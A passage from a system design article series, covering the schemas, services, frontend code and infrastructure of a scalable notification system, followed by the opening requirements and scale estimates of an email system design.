  "nextCursor": "cursor_abc",
  "hasMore": true
}
```

## Data Modeling

### Notification Record (Cassandra)

**Table design for time-series notification access:**

```sql
CREATE TABLE notifications (
    user_id UUID,
    created_at TIMESTAMP,
    notification_id UUID,
    template_id TEXT,
    priority TEXT,
    content FROZEN<notification_content>,
    channels SET<TEXT>,
    status TEXT,
    delivery_attempts INT,
    PRIMARY KEY ((user_id), created_at, notification_id)
) WITH CLUSTERING ORDER BY (created_at DESC, notification_id ASC)
  AND default_time_to_live = 7776000; -- 90 days

CREATE TYPE notification_content (
    title TEXT,
    body TEXT,
    data MAP<TEXT, TEXT>,
    image_url TEXT
);

-- For notification lookup by ID
CREATE TABLE notifications_by_id (
    notification_id UUID PRIMARY KEY,
    user_id UUID,
    created_at TIMESTAMP,
    template_id TEXT,
    priority TEXT,
    content FROZEN<notification_content>,
    channels SET<TEXT>,
    status TEXT
);
```

**Why Cassandra:**

- Time-series optimized with partition per user
- Automatic TTL-based expiration
- High write throughput for delivery status updates
- Linear horizontal scaling

### Delivery Status Tracking (Cassandra)

```sql
CREATE TABLE delivery_status (
    notification_id UUID,
    channel TEXT,
    user_id UUID,
    device_id TEXT,
    status TEXT,        -- queued, sent, delivered, failed, opened, clicked
    provider_id TEXT,   -- APNs message ID, SES message ID, etc.
    error_code TEXT,
    error_message TEXT,
    timestamp TIMESTAMP,
    PRIMARY KEY ((notification_id), channel, device_id)
);

-- Index for retry processing
CREATE TABLE failed_deliveries (
    retry_bucket INT,   -- Hour bucket for time-based retry
    notification_id UUID,
    channel TEXT,
    user_id UUID,
    attempt_count INT,
    last_error TEXT,
    next_retry_at TIMESTAMP,
    PRIMARY KEY ((retry_bucket), next_retry_at, notification_id)
) WITH CLUSTERING ORDER BY (next_retry_at ASC);
```

### User Preferences (PostgreSQL)

```sql
CREATE TABLE user_preferences (
    user_id UUID PRIMARY KEY,
    global_enabled BOOLEAN DEFAULT true,
    quiet_hours JSONB,  -- {"enabled":true,"start":"22:00","end":"07:00","tz":"America/New_York"}
    channel_prefs JSONB,
    category_prefs JSONB,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Audit history for compliance
CREATE TABLE preference_history (
    id BIGSERIAL PRIMARY KEY,
    user_id UUID NOT NULL,
    changed_at TIMESTAMPTZ DEFAULT NOW(),
    change_type TEXT,  -- 'opt_in', 'opt_out', 'update'
    old_value JSONB,
    new_value JSONB,
    source TEXT        -- 'user', 'system', 'compliance'
);

CREATE INDEX idx_pref_history_user ON preference_history(user_id, changed_at DESC);
```

### Device Tokens (PostgreSQL + Redis)

```sql
CREATE TABLE device_tokens (
    device_id TEXT PRIMARY KEY,
    user_id UUID NOT NULL,
    platform TEXT NOT NULL,  -- ios, android, web
    token TEXT NOT NULL,
    token_type TEXT NOT NULL, -- apns, fcm, web_push
    app_version TEXT,
    last_seen TIMESTAMPTZ,
    status TEXT DEFAULT 'active',  -- active, stale, invalid
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_tokens_user ON device_tokens(user_id);
CREATE INDEX idx_tokens_status ON device_tokens(status) WHERE status = 'active';
```

**Redis cache structure:**

```redis
# User's active tokens (set)
SADD user:tokens:{user_id} {device_id_1} {device_id_2}

# Token details (hash)
HSET token:{device_id}
    user_id "user_123"
    platform "ios"
    token "apns_xyz"
    token_type "apns"
    status "active"

# Token lookup (string with TTL for stale detection)
SETEX token:active:{device_id} 2592000 "1"  -- 30 days
```

### Templates (PostgreSQL)

```sql
CREATE TABLE notification_templates (
    template_id TEXT PRIMARY KEY,
    name TEXT NOT NULL,
    category TEXT NOT NULL,
    channels JSONB NOT NULL,
    variables JSONB,
    default_locale TEXT DEFAULT 'en',
    is_active BOOLEAN DEFAULT true,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    version INT DEFAULT 1
);

CREATE TABLE template_translations (
    template_id TEXT REFERENCES notification_templates(template_id),
    locale TEXT,
    channels JSONB NOT NULL,
    PRIMARY KEY (template_id, locale)
);

CREATE TABLE template_versions (
    template_id TEXT,
    version INT,
    channels JSONB NOT NULL,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    created_by TEXT,
    PRIMARY KEY (template_id, version)
);
```

### Database Selection Matrix

| Data Type        | Store              | Rationale                               |
| ---------------- | ------------------ | --------------------------------------- |
| Notifications    | Cassandra          | Time-series, high write volume, TTL     |
| Delivery status  | Cassandra          | High write volume, time-based queries   |
| User preferences | PostgreSQL + Redis | ACID for changes, cached for reads      |
| Device tokens    | PostgreSQL + Redis | Relational queries, cached for delivery |
| Templates        | PostgreSQL         | Low volume, version history needed      |
| Deduplication    | Redis              | TTL-based, fast lookups                 |
| Rate limits      | Redis              | Atomic counters, sliding windows        |
| Analytics        | ClickHouse         | Columnar, aggregations at scale         |

## Low-Level Design

### Deduplication Service

**Purpose:** Prevent duplicate notification delivery within 48-hour window.

```typescript collapse={1-10}
class DeduplicationService {
  private readonly redis: RedisCluster
  private readonly DEDUP_TTL = 172800 // 48 hours in seconds

  async isDuplicate(userId: string, notificationId: string): Promise<boolean> {
    const key = `dedup:${userId}:${notificationId}`

    // SETNX returns 1 if key was set (not duplicate), 0 if exists (duplicate)
    const result = await this.redis.set(key, "1", {
      NX: true,
      EX: this.DEDUP_TTL,
    })

    return result === null // null means key existed (duplicate)
  }

  // Bloom filter for fast "definitely not duplicate" check
  async checkBloomFilter(userId: string, notificationId: string): Promise<boolean> {
    const key = `bloom:dedup:${userId}`
    return await this.redis.bf.exists(key, notificationId)
  }
}
```

**Design rationale:** Twilio Segment's deduplication handles 60 billion keys across 1.5TB storage. Using Bloom filters for fast rejection and Redis SETNX for authoritative check balances memory and accuracy.

### Rate Limiter

**Token bucket implementation for user-level throttling:**

```typescript collapse={1-12}
interface RateLimitConfig {
  channel: string
  maxPerHour: number
  maxPerDay: number
}

class RateLimiter {
  private readonly redis: RedisCluster

  async checkAndConsume(
    userId: string,
    channel: string,
    config: RateLimitConfig,
  ): Promise<{ allowed: boolean; retryAfter?: number }> {
    const hourKey = `ratelimit:${userId}:${channel}:hour:${this.getCurrentHour()}`
    const dayKey = `ratelimit:${userId}:${channel}:day:${this.getCurrentDay()}`

    // Lua script for atomic check-and-increment
    const result = await this.redis.eval(
      `
      local hourCount = redis.call('INCR', KEYS[1])
      if hourCount == 1 then
        redis.call('EXPIRE', KEYS[1], 3600)
      end

      local dayCount = redis.call('INCR', KEYS[2])
      if dayCount == 1 then
        redis.call('EXPIRE', KEYS[2], 86400)
      end

      if hourCount > tonumber(ARGV[1]) then
        redis.call('DECR', KEYS[1])
        return {0, 3600 - redis.call('TTL', KEYS[1])}
      end

      if dayCount > tonumber(ARGV[2]) then
        redis.call('DECR', KEYS[1])
        redis.call('DECR', KEYS[2])
        return {0, 86400 - redis.call('TTL', KEYS[2])}
      end

      return {1, 0}
    `,
      [hourKey, dayKey],
      [config.maxPerHour, config.maxPerDay],
    )

    return {
      allowed: result[0] === 1,
      retryAfter: result[1] > 0 ? result[1] : undefined,
    }
  }
}
```

**Channel-specific limits (per FCM documentation):**

| Channel      | Limit                    | Enforcement                      |
| ------------ | ------------------------ | -------------------------------- |
| FCM          | 600K tokens/minute       | Token bucket with backoff on 429 |
| APNs         | No published limit       | Monitor for throttling responses |
| Email (SES)  | 50K/second (warm domain) | Gradual ramp-up required         |
| SMS (Twilio) | 100 MPS/short code       | Queue with rate-limited consumer |

### Notification Aggregator

**Collapses similar notifications into digest:**

```typescript collapse={1-15}
interface AggregationRule {
  category: string
  collapseKey: string // Template for grouping, e.g., "likes_{postId}"
  windowSeconds: number // Aggregation window
  minCount: number // Minimum to trigger aggregation
  maxCount: number // Maximum before force-flush
  digestTemplate: string // "{{count}} people liked your post"
}

class NotificationAggregator {
  private readonly redis: RedisCluster

  async shouldAggregate(
    userId: string,
    notification: Notification,
    rule: AggregationRule,
  ): Promise<{ aggregate: boolean; pending: Notification[] }> {
    const collapseKey = this.renderCollapseKey(rule.collapseKey, notification)
    const bufferKey = `agg:${userId}:${collapseKey}`

    // Add to buffer
    await this.redis.rpush(bufferKey, JSON.stringify(notification))
    await this.redis.expire(bufferKey, rule.windowSeconds)

    const count = await this.redis.llen(bufferKey)

    if (count >= rule.maxCount) {
      // Force flush
      const pending = await this.flushBuffer(bufferKey)
      return { aggregate: true, pending }
    }

    if (count >= rule.minCount) {
      // Schedule aggregated delivery at window end
      await this.scheduleFlush(userId, collapseKey, rule.windowSeconds)
    }

    return { aggregate: false, pending: [] }
  }

  async createDigest(notifications: Notification[], rule: AggregationRule): Promise<Notification> {
    const count = notifications.length
    const actors = [...new Set(notifications.map((n) => n.actorId))].slice(0, 3)

    return {
      ...notifications[0],
      content: {
        title: this.renderTemplate(rule.digestTemplate, { count, actors }),
        body: `${actors[0]} and ${count - 1} others`,
      },
      metadata: {
        aggregatedCount: count,
        originalIds: notifications.map((n) => n.notificationId),
      },
    }
  }
}
```

**Aggregation patterns:**

| Notification Type | Collapse Key          | Window | Digest Format                       |
| ----------------- | --------------------- | ------ | ----------------------------------- |
| Post likes        | `likes_{postId}`      | 5 min  | "John and 5 others liked your post" |
| New followers     | `followers_{userId}`  | 1 hour | "6 new followers today"             |
| Comment replies   | `replies_{commentId}` | 10 min | "3 new replies to your comment"     |

### Priority Router

```typescript collapse={1-12}
enum NotificationPriority {
  CRITICAL = "critical", // Security alerts, transaction confirmations
  HIGH = "high", // Direct messages, mentions
  NORMAL = "normal", // Social notifications, updates
  LOW = "low", // Marketing, digests
}

class PriorityRouter {
  private readonly queues: Map<NotificationPriority, KafkaProducer>

  async route(notification: EnrichedNotification): Promise<void> {
    const priority = this.determinePriority(notification)
    const queue = this.queues.get(priority)

    // Partition by user_id for rate limiting co-location
    await queue.send({
      topic: `notifications.${priority}`,
      messages: [
        {
          key: notification.userId,
          value: JSON.stringify(notification),
          headers: {
            "notification-id": notification.notificationId,
            "created-at": Date.now().toString(),
          },
        },
      ],
    })
  }

  private determinePriority(notification: EnrichedNotification): NotificationPriority {
    // Critical: security, transactions, time-sensitive
    if (notification.category === "security") return NotificationPriority.CRITICAL
    if (notification.category === "transaction") return NotificationPriority.CRITICAL

    // High: direct user interaction
    if (notification.category === "message") return NotificationPriority.HIGH
    if (notification.category === "mention") return NotificationPriority.HIGH

    // Low: bulk, marketing
    if (notification.category === "marketing") return NotificationPriority.LOW
    if (notification.category === "digest") return NotificationPriority.LOW

    return NotificationPriority.NORMAL
  }
}
```

**Queue configuration:**

| Priority | Partitions | Consumer Parallelism  | Max Latency |
| -------- | ---------- | --------------------- | ----------- |
| Critical | 50         | 50 workers            | 500ms       |
| High     | 100        | 100 workers           | 2s          |
| Normal   | 200        | 200 workers           | 10s         |
| Low      | 50         | 50 workers (off-peak) | Best effort |

### Push Delivery with Retry

```typescript collapse={1-20}
interface PushDeliveryResult {
  success: boolean
  messageId?: string
  errorCode?: string
  shouldRetry: boolean
  invalidToken: boolean
}

class PushProcessor {
  private readonly fcm: FirebaseMessaging
  private readonly apns: ApnsClient
  private readonly deviceRegistry: DeviceRegistry

  async deliver(notification: Notification, device: DeviceToken): Promise<PushDeliveryResult> {
    try {
      if (device.tokenType === "fcm") {
        return await this.deliverFcm(notification, device)
      } else if (device.tokenType === "apns") {
        return await this.deliverApns(notification, device)
      }
    } catch (error) {
      return this.handleError(error, device)
    }
  }

  private async deliverFcm(notification: Notification, device: DeviceToken): Promise<PushDeliveryResult> {
    const message = {
      token: device.token,
      notification: {
        title: notification.content.title,
        body: notification.content.body,
      },
      data: notification.content.data,
      android: {
        priority: notification.priority === "critical" ? "high" : "normal",
        ttl: notification.ttl * 1000,
        collapseKey: notification.collapseKey,
      },
    }

    const response = await this.fcm.send(message)
    return { success: true, messageId: response, shouldRetry: false, invalidToken: false }
  }

  private handleError(error: any, device: DeviceToken): PushDeliveryResult {
    // FCM error codes per documentation
    const errorCode = error.code

    // Invalid token - remove immediately
    if (["messaging/invalid-registration-token", "messaging/registration-token-not-registered"].includes(errorCode)) {
      this.deviceRegistry.markInvalid(device.deviceId)
      return { success: false, errorCode, shouldRetry: false, invalidToken: true }
    }

    // Rate limited - retry with backoff
    if (errorCode === "messaging/too-many-requests") {
      return { success: false, errorCode, shouldRetry: true, invalidToken: false }
    }

    // Server error - retry with backoff
    if (errorCode === "messaging/internal-error") {
      return { success: false, errorCode, shouldRetry: true, invalidToken: false }
    }

    return { success: false, errorCode, shouldRetry: false, invalidToken: false }
  }
}
```

### Retry Service with Exponential Backoff

```typescript collapse={1-15}
interface RetryConfig {
  maxAttempts: number
  baseDelayMs: number
  maxDelayMs: number
  jitterFactor: number
}

class RetryService {
  private readonly defaultConfig: RetryConfig = {
    maxAttempts: 5,
    baseDelayMs: 1000,
    maxDelayMs: 300000, // 5 minutes
    jitterFactor: 0.2,
  }

  async scheduleRetry(
    notification: Notification,
    channel: string,
    attemptCount: number,
    config: RetryConfig = this.defaultConfig,
  ): Promise<void> {
    if (attemptCount >= config.maxAttempts) {
      await this.moveToDlq(notification, channel)
      return
    }

    const delay = this.calculateDelay(attemptCount, config)
    const retryBucket = Math.floor((Date.now() + delay) / 3600000) // Hour bucket

    await this.cassandra.execute(
      `
      INSERT INTO failed_deliveries (
        retry_bucket, notification_id, channel, user_id,
        attempt_count, last_error, next_retry_at
      ) VALUES (?, ?, ?, ?, ?, ?, ?)
    `,
      [
        retryBucket,
        notification.notificationId,
        channel,
        notification.userId,
        attemptCount + 1,
        notification.lastError,
        new Date(Date.now() + delay),
      ],
    )
  }

  private calculateDelay(attempt: number, config: RetryConfig): number {
    // Exponential backoff with jitter
    const exponentialDelay = config.baseDelayMs * Math.pow(2, attempt)
    const cappedDelay = Math.min(exponentialDelay, config.maxDelayMs)
    const jitter = cappedDelay * config.jitterFactor * Math.random()

    return Math.floor(cappedDelay + jitter)
  }

  private async moveToDlq(notification: Notification, channel: string): Promise<void> {
    await this.kafka.send({
      topic: "notifications.dlq",
      messages: [
        {
          key: notification.userId,
          value: JSON.stringify({
            notification,
            channel,
            reason: "max_retries_exceeded",
            timestamp: Date.now(),
          }),
        },
      ],
    })

    // Alert for monitoring
    this.metrics.increment("notifications.dlq.count", {
      channel,
      category: notification.category,
    })
  }
}
```

### Quiet Hours Handler

```typescript collapse={1-10}
class QuietHoursHandler {
  async shouldDefer(
    userId: string,
    notification: Notification,
    preferences: UserPreferences,
  ): Promise<{ defer: boolean; deliverAt?: Date }> {
    // Critical notifications bypass quiet hours
    if (notification.priority === "critical") {
      return { defer: false }
    }

    if (!preferences.quietHours?.enabled) {
      return { defer: false }
    }

    const userNow = this.getUserLocalTime(preferences.quietHours.timezone)
    const isInQuietHours = this.isTimeInRange(userNow, preferences.quietHours.start, preferences.quietHours.end)

    if (!isInQuietHours) {
      return { defer: false }
    }

    // Calculate when quiet hours end
    const deliverAt = this.getQuietHoursEnd(preferences.quietHours.end, preferences.quietHours.timezone)

    return { defer: true, deliverAt }
  }

  private isTimeInRange(current: Date, start: string, end: string): boolean {
    const currentMinutes = current.getHours() * 60 + current.getMinutes()
    const [startHour, startMin] = start.split(":").map(Number)
    const [endHour, endMin] = end.split(":").map(Number)

    const startMinutes = startHour * 60 + startMin
    const endMinutes = endHour * 60 + endMin

    // Handle overnight ranges (e.g., 22:00 - 07:00)
    if (startMinutes > endMinutes) {
      return currentMinutes >= startMinutes || currentMinutes < endMinutes
    }

    return currentMinutes >= startMinutes && currentMinutes < endMinutes
  }
}
```

## Frontend Considerations

### Real-Time In-App Notifications

**WebSocket connection for live updates:**

```typescript collapse={1-15}
class NotificationClient {
  private ws: WebSocket | null = null
  private reconnectAttempt = 0
  private readonly MAX_RECONNECT_DELAY = 30000

  connect(authToken: string): void {
    this.ws = new WebSocket(`wss://notifications.example.com/ws?token=${authToken}`)

    this.ws.onopen = () => {
      this.reconnectAttempt = 0
      this.syncMissedNotifications()
    }

    this.ws.onmessage = (event) => {
      const notification = JSON.parse(event.data)
      this.handleNotification(notification)
    }

    this.ws.onclose = () => {
      this.scheduleReconnect()
    }
  }

  private handleNotification(notification: Notification): void {
    // Update badge count
    this.incrementBadge()

    // Add to notification list
    this.store.dispatch(addNotification(notification))

    // Show toast if appropriate
    if (notification.priority === "high" && !document.hasFocus()) {
      this.showToast(notification)
    }

    // Request browser notification permission if needed
    if (notification.showBrowserNotification) {
      this.showBrowserNotification(notification)
    }
  }

  private async syncMissedNotifications(): Promise<void> {
    const lastSeen = localStorage.getItem("lastNotificationTimestamp")

    const response = await fetch(`/api/v1/notifications?since=${lastSeen}&limit=50`)
    const { notifications } = await response.json()

    notifications.forEach((n) => this.handleNotification(n))
  }
}
```

### Notification List with Virtualization

```typescript collapse={1-12}
interface NotificationListProps {
  userId: string
  pageSize: number
}

const NotificationList: React.FC<NotificationListProps> = ({ userId, pageSize }) => {
  const {
    data,
    fetchNextPage,
    hasNextPage,
    isFetchingNextPage
  } = useInfiniteQuery({
    queryKey: ['notifications', userId],
    queryFn: ({ pageParam }) =>
      fetchNotifications(userId, { cursor: pageParam, limit: pageSize }),
    getNextPageParam: (lastPage) => lastPage.nextCursor
  })

  const notifications = data?.pages.flatMap(p => p.notifications) ?? []

  return (
    <VirtualList
      items={notifications}
      estimatedItemSize={80}
      onEndReached={() => hasNextPage && fetchNextPage()}
      renderItem={(notification) => (
        <NotificationItem
          key={notification.id}
          notification={notification}
          onRead={markAsRead}
        />
      )}
    />
  )
}
```

### Preference Management UI

```typescript collapse={1-15}
interface PreferenceState {
  loading: boolean
  preferences: UserPreferences | null
  pendingChanges: Partial<UserPreferences>
}

const PreferencesPanel: React.FC = () => {
  const [state, dispatch] = useReducer(preferenceReducer, initialState)

  const handleToggle = async (category: string, enabled: boolean) => {
    // Optimistic update
    dispatch({ type: 'UPDATE_CATEGORY', category, enabled })

    try {
      await updatePreferences({
        categories: { [category]: { enabled } }
      })
    } catch (error) {
      // Rollback on failure
      dispatch({ type: 'ROLLBACK' })
      showError('Failed to update preferences')
    }
  }

  return (
    <div className="preferences-panel">
      <section>
        <h3>Notification Channels</h3>
        {Object.entries(state.preferences?.channels ?? {}).map(([channel, config]) => (
          <ToggleRow
            key={channel}
            label={channelLabels[channel]}
            enabled={config.enabled}
            onChange={(enabled) => handleChannelToggle(channel, enabled)}
          />
        ))}
      </section>

      <section>
        <h3>Notification Types</h3>
        {Object.entries(state.preferences?.categories ?? {}).map(([category, config]) => (
          <CategoryRow
            key={category}
            category={category}
            config={config}
            onChange={(update) => handleCategoryUpdate(category, update)}
          />
        ))}
      </section>

      <section>
        <h3>Quiet Hours</h3>
        <QuietHoursEditor
          config={state.preferences?.quietHours}
          onChange={handleQuietHoursUpdate}
        />
      </section>
    </div>
  )
}
```

### Push Notification Permission Flow

```typescript collapse={1-10}
class PushPermissionManager {
  async requestPermission(): Promise<"granted" | "denied" | "default"> {
    // Check if already granted
    if (Notification.permission === "granted") {
      await this.registerServiceWorker()
      return "granted"
    }

    // Don't ask if denied
    if (Notification.permission === "denied") {
      return "denied"
    }

    // Request permission
    const permission = await Notification.requestPermission()

    if (permission === "granted") {
      await this.registerServiceWorker()
      const token = await this.getFcmToken()
      await this.registerDevice(token)
    }

    return permission
  }

  private async registerServiceWorker(): Promise<void> {
    const registration = await navigator.serviceWorker.register("/sw.js")

    // Handle token refresh
    registration.addEventListener("pushsubscriptionchange", async () => {
      const newToken = await this.getFcmToken()
      await this.updateDevice(newToken)
    })
  }
}
```

## Infrastructure

### Cloud-Agnostic Components

| Component      | Purpose                                 | Options                       |
| -------------- | --------------------------------------- | ----------------------------- |
| Message Queue  | Event ingestion, priority routing       | Kafka, Pulsar, NATS JetStream |
| KV Store       | Preferences, tokens, dedup, rate limits | Redis, KeyDB, Dragonfly       |
| Primary DB     | Templates, preferences, audit           | PostgreSQL, CockroachDB       |
| Time-series DB | Notification history, delivery status   | Cassandra, ScyllaDB, DynamoDB |
| Push Gateway   | APNs/FCM delivery                       | Self-hosted, Firebase Admin   |
| Email Gateway  | SMTP delivery                           | Postfix, SendGrid API         |
| SMS Gateway    | Carrier delivery                        | Twilio, Vonage                |

### AWS Reference Architecture

![Diagram](./diagram-5.svg)

**Service configurations:**

| Service                      | Configuration         | Rationale                      |
| ---------------------------- | --------------------- | ------------------------------ |
| Notification API (Fargate)   | 2 vCPU, 4GB, 20 tasks | Stateless, scales with traffic |
| Router Workers (Fargate)     | 2 vCPU, 4GB, 50 tasks | CPU-bound preference lookups   |
| Push Workers (Fargate)       | 2 vCPU, 4GB, 30 tasks | I/O-bound provider calls       |
| WebSocket Gateways (Fargate) | 4 vCPU, 8GB, 20 tasks | Memory for connections         |
| ElastiCache Redis            | r6g.xlarge cluster    | Sub-ms reads for hot path      |
| RDS PostgreSQL               | db.r6g.large Multi-AZ | Templates, preferences         |
| Amazon Keyspaces             | On-demand             | Serverless Cassandra           |
| MSK                          | kafka.m5.large × 3    | Priority queue separation      |

### Self-Hosted Alternatives

| Managed Service  | Self-Hosted Option          | When to Self-Host                        |
| ---------------- | --------------------------- | ---------------------------------------- |
| Amazon MSK       | Apache Kafka on EC2         | Cost at scale, specific configs          |
| ElastiCache      | Redis Cluster on EC2        | Specific modules (RediSearch)            |
| Amazon Keyspaces | Apache Cassandra/ScyllaDB   | Cost, tuning flexibility                 |
| SNS Mobile Push  | Direct APNs/FCM integration | Full control, cost savings               |
| Amazon SES       | Postfix + DKIM/SPF          | Volume discounts, deliverability control |

### Monitoring and Observability

**Key metrics:**

| Metric                 | Alert Threshold | Action                      |
| ---------------------- | --------------- | --------------------------- |
| Delivery rate          | < 99%           | Investigate provider issues |
| p99 latency (critical) | > 500ms         | Scale workers, check queues |
| DLQ depth              | > 1000          | Manual intervention needed  |
| Rate limit hits        | > 10%           | Review user throttle config |
| Invalid tokens         | > 5% daily      | Token cleanup job issue     |

**Distributed tracing (per Slack's approach):**

- Each notification gets its own trace (notification_id = trace_id)
- Spans: trigger → enqueue → route → deliver → acknowledge
- 100% sampling for notifications (vs. 1% for general traffic)
- OpenTelemetry integration for cross-service visibility

## Conclusion

This design provides a scalable notification system with:

1. **At-least-once delivery** via Kafka durability and retry mechanisms
2. **Sub-500ms delivery for critical notifications** through priority queues and dedicated workers
3. **User-centric throttling** with preference-based channel selection and quiet hours
4. **Multi-channel support** with independent processors for push, email, SMS, and in-app
5. **Horizontal scalability** to millions of notifications per second

**Key architectural decisions:**

- Priority-based queue separation ensures critical notifications bypass bulk backlogs
- User-partitioned Kafka enables co-located rate limiting and aggregation
- Separate channel processors allow independent scaling and failure isolation
- Template rendering at send time supports personalization and A/B testing

**Known limitations:**

- At-least-once delivery requires idempotent clients
- Cross-channel ordering not guaranteed (push may arrive before email)
- Aggregation windows add latency for batch-eligible notifications
- External provider rate limits constrain burst capacity

**Future enhancements:**

- ML-based send time optimization (per Uber/Airship research)
- Rich media notifications (images, action buttons)
- Cross-device notification sync (read on phone, clear on web)
- Webhook delivery for B2B integrations

## Appendix

### Prerequisites

- Distributed systems fundamentals (message queues, partitioning)
- Push notification protocols (APNs, FCM)
- Rate limiting algorithms (token bucket, sliding window)
- Database selection trade-offs (SQL vs. NoSQL)

### Terminology

| Term             | Definition                                                             |
| ---------------- | ---------------------------------------------------------------------- |
| **APNs**         | Apple Push Notification service - Apple's push delivery infrastructure |
| **FCM**          | Firebase Cloud Messaging - Google's cross-platform push service        |
| **DLQ**          | Dead Letter Queue - storage for messages that failed processing        |
| **TTL**          | Time-to-Live - expiration duration for notifications                   |
| **Collapse key** | Identifier for grouping related notifications (newer replaces older)   |
| **Token bucket** | Rate limiting algorithm allowing bursts up to bucket capacity          |
| **Idempotent**   | Operation that produces same result regardless of execution count      |

### Summary

- **Multi-channel delivery** (push, email, SMS, in-app) with **at-least-once guarantees** using Kafka and retry mechanisms
- **Priority-based routing** separates critical notifications (< 500ms) from bulk (best effort)
- **User preference service** with Redis caching enables per-user channel and frequency control
- **Rate limiting** at user and channel level prevents notification fatigue and respects provider limits
- **Aggregation** collapses similar notifications ("5 new likes") to reduce user interruption
- Scale to **1M+ notifications/second** with horizontal worker scaling and partitioned queues

### References

**Real-World Implementations:**

- [Uber's Real-Time Push Platform (RAMEN)](https://www.uber.com/blog/real-time-push-platform/) - 1.5M+ connections, 250K messages/second
- [LinkedIn Concourse](https://www.linkedin.com/blog/engineering/messaging-notifications/concourse-generating-personalized-content-notifications-in-near) - Near real-time personalized notifications at scale
- [Netflix RENO](https://www.infoq.com/news/2022/03/netflix-reno/) - Hybrid push-pull notification architecture
- [Slack Notification Tracing](https://slack.engineering/tracing-notifications/) - End-to-end observability for notification delivery
- [Pinterest NEP](https://medium.com/pinterest-engineering/nep-notification-system-and-relevance-a7fff21986c7) - ML-powered notification relevance

**Provider Documentation:**

- [Firebase Cloud Messaging - Scale Your App](https://firebase.google.com/docs/cloud-messaging/scale-fcm) - Rate limits, error handling, token management
- [APNs Provider API](https://developer.apple.com/documentation/usernotifications/sending-notification-requests-to-apns) - Connection management, authentication
- [Gmail/Yahoo 2024 Deliverability Requirements](https://www.braze.com/resources/articles/guide-to-2024-email-deliverability-updates-what-to-expect-from-gmail-and-yahoo-mail) - SPF, DKIM, one-click unsubscribe

**Patterns and Best Practices:**

- [Twilio Segment - Exactly-Once Delivery](https://www.twilio.com/en-us/blog/insights/exactly-once-delivery/) - Deduplication at 200B message scale
- [Knock - Batched Notification Engine](https://knock.app/blog/building-a-batched-notification-engine) - Aggregation patterns

**Related Articles:**

- [Design Real-Time Chat and Messaging](../design-real-time-chat-messaging/README.md) - WebSocket connections, presence systems
- [Design an API Rate Limiter](../design-api-rate-limiter/README.md) - Token bucket, sliding window algorithms

---

## Design an Email System

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-email-system
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for building a scalable email service like Gmail or Outlook. This design addresses reliable delivery, spam filtering, conversation threading, and search at scale—handling billions of messages daily with sub-second search latency and 99.99% delivery reliability.

# Design an Email System

A comprehensive system design for building a scalable email service like Gmail or Outlook. This design addresses reliable delivery, spam filtering, conversation threading, and search at scale—handling billions of messages daily with sub-second search latency and 99.99% delivery reliability.

<figure>

![High-level architecture: Separate inbound (receiving) and outbound (sending) mail paths with shared storage and search infrastructure.](./high-level-architecture-separate-inbound-receiving-and-outbound-sending-mail-pat.svg)

<figcaption>High-level architecture: Separate inbound (receiving) and outbound (sending) mail paths with shared storage and search infrastructure.</figcaption>
</figure>

## Abstract

Email systems solve four interconnected challenges: **reliable delivery** (messages must never be lost), **authentication** (prevent spoofing and phishing), **spam filtering** (99%+ spam blocked with minimal false positives), and **fast retrieval** (sub-second search across years of messages).

**Core architectural decisions:**

| Decision         | Choice                         | Rationale                                           |
| ---------------- | ------------------------------ | --------------------------------------------------- |
| Inbound protocol | SMTP (RFC 5321)                | Universal standard, store-and-forward resilience    |
| Client access    | IMAP (RFC 3501) + REST API     | IMAP for desktop clients, REST for web/mobile       |
| Authentication   | SPF + DKIM + DMARC             | Defense in depth: server auth, content auth, policy |
| Spam filtering   | ML (Naive Bayes) + rules       | 99.9%+ detection with low false positives           |
| Message storage  | Wide-column DB (Cassandra)     | Time-series access pattern, horizontal scaling      |
| Search           | Inverted index (Elasticsearch) | Full-text search with field-specific filtering      |
| Threading        | RFC 5322 headers + heuristics  | References header for chain, subject fallback       |

**Key trade-offs accepted:**

- Store-and-forward adds latency (seconds to minutes) but ensures delivery reliability
- Per-message spam analysis increases CPU cost but reduces false positives vs. IP-only blocking
- Denormalized message storage increases write cost but enables fast mailbox queries
- Eventual consistency for search index (seconds delay) in exchange for write throughput

**What this design optimizes:**

- 99.99% delivery success rate with automatic retries
- Sub-100ms mailbox listing, sub-500ms full-text search
- Blocks 99.9% of spam while keeping false positive rate below 0.01%
- Horizontal scaling to billions of messages per day

## Requirements

### Functional Requirements

| Requirement                   | Priority | Notes                               |
| ----------------------------- | -------- | ----------------------------------- |
| Send emails (SMTP submission) | Core     | Authenticated sending via port 587  |
| Receive emails (SMTP inbound) | Core     | Accept mail for hosted domains      |
| Web/mobile mailbox access     | Core     | REST API for modern clients         |
| IMAP access                   | Core     | Desktop client compatibility        |
| Spam filtering                | Core     | Block spam, phishing, malware       |
| Email authentication          | Core     | SPF, DKIM, DMARC validation         |
| Full-text search              | Core     | Search body, subject, participants  |
| Conversation threading        | Core     | Group related messages              |
| Labels/folders                | Core     | User organization                   |
| Attachments                   | Core     | Store and retrieve file attachments |
| Contact autocomplete          | Extended | Suggest recipients while composing  |
| Scheduled send                | Extended | Send at specified future time       |
| Undo send                     | Extended | Brief cancellation window           |

### Non-Functional Requirements

| Requirement          | Target           | Rationale                                                 |
| -------------------- | ---------------- | --------------------------------------------------------- |
| Availability         | 99.99% (4 nines) | Email is critical communication; 52 min/year downtime max |
| Delivery latency     | p99 < 30 seconds | User expectation for "instant" delivery                   |
| Search latency       | p99 < 500ms      | Real-time search experience                               |
| Mailbox list latency | p99 < 100ms      | Responsive UI on folder open                              |
| Spam detection rate  | > 99.9%          | Unusable inbox without effective filtering                |
| False positive rate  | < 0.01%          | Legitimate mail must not be blocked                       |
| Message durability   | 99.9999%         | No email should ever be lost                              |
| Retention            | 15+ years        | Long-term archival for compliance                         |

### Scale Estimation

**Users:**

- Monthly Active Users (MAU): 500M
- Daily Active Users (DAU): 200M (40% of MAU)
- Mailboxes: 500M (1 per user)

**Traffic (inbound + outbound):**

- Messages per user per day: 40 received, 10 sent
- Daily inbound: 500M × 40 = 20B messages/day
- Daily outbound: 200M × 10 = 2B messages/day
